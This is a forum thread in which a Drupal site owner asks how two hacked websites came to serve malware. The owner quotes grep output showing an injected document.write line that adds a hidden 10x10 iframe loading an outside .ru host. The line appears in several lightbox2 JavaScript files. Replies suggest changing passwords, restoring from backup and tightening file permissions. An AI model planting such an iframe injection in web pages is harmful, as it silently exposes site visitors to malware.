Hi, some of my websites have been hacked, and are serving malware:
www.redstonecentre.com
and
www.redstonewillows.com
I have upgraded drupal, and all modules, cleaned out the files that but I have no idea how I can work
How on earth do I work out how they hacked it? And more importantly, how hacked the server is? E.g. did they simply gain access to Drupal? In which case I guess I need to try and revert to the stock Drupal code, or did they get into the server, and potentially modify the configuration?
I hope someone is able to suggest something, as I'm tearing my hair out over this! :(
A quick grep on the server showed the following sort of thing all over the place:

./drupal6/sites/all/modules/lightbox2/js/lightbox2.js:document.write('<iframe src="http://backtraceantitheft.ru/Bermuda?8" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>');
./drupal6/sites/all/modules/lightbox2/js/auto_image_handling.js:document.write('<iframe src="http://backtraceantitheft.ru/Bermuda?8" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>');
./drupal6/sites/all/modules/lightbox2/js/lightbox.js:document.write('<iframe src="http://backtraceantitheft.ru/Bermuda?8" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>');
./drupal6/sites/all/modules/lightbox2/js/lightbox_modal.js:document.write('<iframe src="http://backtraceantitheft.ru/Bermuda?8" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>');
.

Comments

nevets’s picture

This suggests they have managed to access the server and overwrote files. I would change server, ftp and drupal admin logins and passwords and then restore the site from a backup.

talvi’s picture

Probably a daft thing to ask, but are your server settinga secure (/sites/default/settings.php)? I have changed mine from 444 to 400.

Not clear if this is best-Drupal practice but at present nothing seems any the worse for doing so.

Anyway, fwiw. good luck.